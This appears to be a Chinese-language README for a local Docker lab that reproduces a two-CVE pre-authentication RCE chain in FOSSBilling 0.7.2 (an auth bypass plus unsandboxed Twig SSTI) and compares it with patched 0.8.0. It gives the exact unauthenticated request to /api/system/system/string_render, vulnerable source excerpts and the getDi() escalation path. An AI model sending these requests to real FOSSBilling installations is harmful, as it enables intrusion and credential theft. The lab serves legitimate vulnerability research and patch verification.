本仓库包含一个本地 Docker 实验环境,用于复现和验证 FOSSBilling 预认证 RCE 链,该链由两个串联的漏洞组成:
| CVE | 类型 | CVSS v4 | GHSA | 描述 |
|---|---|---|---|---|
| CVE-2026-27604 | 认证绕过 | 10.0 | GHSA-78x5-c8gw-8279 | API 角色检查器中缺少 throw,导致管理端点暴露给未认证调用者 |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | 通过 string_render API 进行未沙箱化的 Twig 模板渲染 |
FOSSBilling 是一个免费开源的计费与客户管理平台。受影响版本为 0.5.4 至 0.7.2。FOSSBilling 0.8.0 修复了这两个漏洞。
本实验环境对比了两个 FOSSBilling 版本:
| 服务 | FOSSBilling 版本 | 用途 | URL |
|---|---|---|---|
| vuln | 0.7.2 | 易受攻击目标 | http://localhost:8081 |
| patched | 0.8.0 | 已修补目标 | http://localhost:8082 |
本本地实验环境中验证的利用链为:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
修补后的目标(0.8.0)返回:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
该实验环境有意限定于本地 Docker 服务。它不针对外部系统,也不包含 webshell、恶意软件、持久化、外部回调、数据库转储或破坏性载荷。
预认证 RCE 需要两个漏洞协同作用:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
本实验使用安全算术证明 `{{ 7*7 }}` 演示该利用链。通过 `getDi()` 的完整 RCE 路径未演示。
## 已验证事实
| 声明 | 证据 | 验证方法 |
| ----- | -------- | ------------- |
| CVE-2026-27604 是 FOSSBilling API 角色处理中的认证绕过。 | GHSA-78x5-c8gw-8279:角色检查器中缺少 throw,导致 /api/system/ 被解析为 admin。 | 运行 PoC:guest 路径被拒绝,system 路径返回 admin 结果。 |
| CVE-2026-28496 是 FOSSBilling Twig 渲染中的 SSTI。 | GHSA-57mv-jm88-66jc:string_render 将 _tpl 传入 Twig createTemplate() 时未使用沙箱。 | 运行 PoC:服务器评估 {{ 7*7 }} 并返回 49。 |
| 两个漏洞均影响 FOSSBilling 0.5.4 至 0.7.2。 | 公开公告指出了受影响的版本范围。 | 对比漏洞版本(0.7.2)和已修补版本(0.8.0)目标。 |
| FOSSBilling 0.8.0 修补了两个漏洞。 | 已修补目标对测试端点返回 "Unknown API call"。 | 针对端口 8082 运行 PoC。 |
| 认证绕过提供了未认证的 admin 访问权限。 | /api/guest/ 拒绝 string_render;/api/system/ 无需认证即返回结果。 | 运行 PoC 的第 1 阶段。 |
| SSTI 会评估攻击者控制的模板。 | {{ 7*7 }} 通过漏洞路径返回 49。 | 运行 PoC 的第 2 阶段。 |
| 该利用链可实现 Pre-Auth RCE。 | 认证绕过 + SSTI = 具有 admin 上下文的未认证模板注入。 | 运行完整利用链 PoC。 |
| 该 PoC 仅使用 HTTP。 | poc.py 仅发送 HTTP POST 请求。 | 检查 poc/poc.py。 |
## 根本原因分析
### CVE-2026-27604:认证绕过
FOSSBilling API 从 URL 路径解析角色:```text
/api/:role/:module/:method
角色检查器验证请求的角色是否被允许。然而,在存在漏洞的版本中,针对被禁止角色的异常被实例化但从未抛出:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
因为异常从未被抛出,验证会静默通过。`system` 角色会解析为 cron 管理员身份,从而向任何未经身份验证的调用者授予完整的管理 API 访问权限。
安全影响:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
system 角色映射到内部 cron 管理员身份,该身份拥有完全的管理权限。
string_render 管理 API 方法从请求数据中接收 _tpl,并将其传入 Twig 模板渲染管道,且未强制执行沙箱:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
`renderString()` 方法会回退到 `createTemplateFromString()`:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
关键问题:createTemplate($tpl) 从攻击者控制的字符串创建 Twig 模板,并在没有沙箱限制的情况下渲染它。该模板可以访问模板上下文中的对象,包括暴露 getDi() 的 guest API 处理器。
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## 源码补丁摘要
FOSSBilling 0.8.0 修复了这两个漏洞:
**认证绕过修复(CVE-2026-27604):**
角色检查器现在会针对不允许的角色正确抛出异常。
**SSTI 修复(CVE-2026-28496):**
模板渲染通过沙箱化渲染器进行路由:```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
沙箱策略默认阻止方法和属性访问:```php $methods = []; $properties = [];
对于本实验中测试的公共 API 路径,FOSSBilling 0.8.0 根本没有暴露所测试的端点:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
源代码级回归检查确认了更深层的修复:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## 实验环境架构```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| 服务 | 组件 | 版本 / 角色 |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 漏洞目标 |
| patched | FOSSBilling | 0.8.0 已修补目标 |
| vuln-db | MariaDB | 漏洞目标的数据库 |
| patched-db | MariaDB | 已修补目标的数据库 |
| installer-vuln | curl sidecar | 自动安装漏洞目标 |
| installer-patched | curl sidecar | 自动安装已修补目标 |
默认暴露的服务:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
安装程序 sidecar 会在 `docker compose up` 期间自动运行。它们使用本地一次性凭据初始化两个 FOSSBilling 目标,然后退出。
## 要求
* Docker Desktop 或 Docker Engine
* Docker Compose v2
* Python 3
* 首次拉取 Docker 镜像时需要互联网访问
不需要任何 Python 第三方包。该 PoC 仅使用 Python 标准库模块。
## 快速开始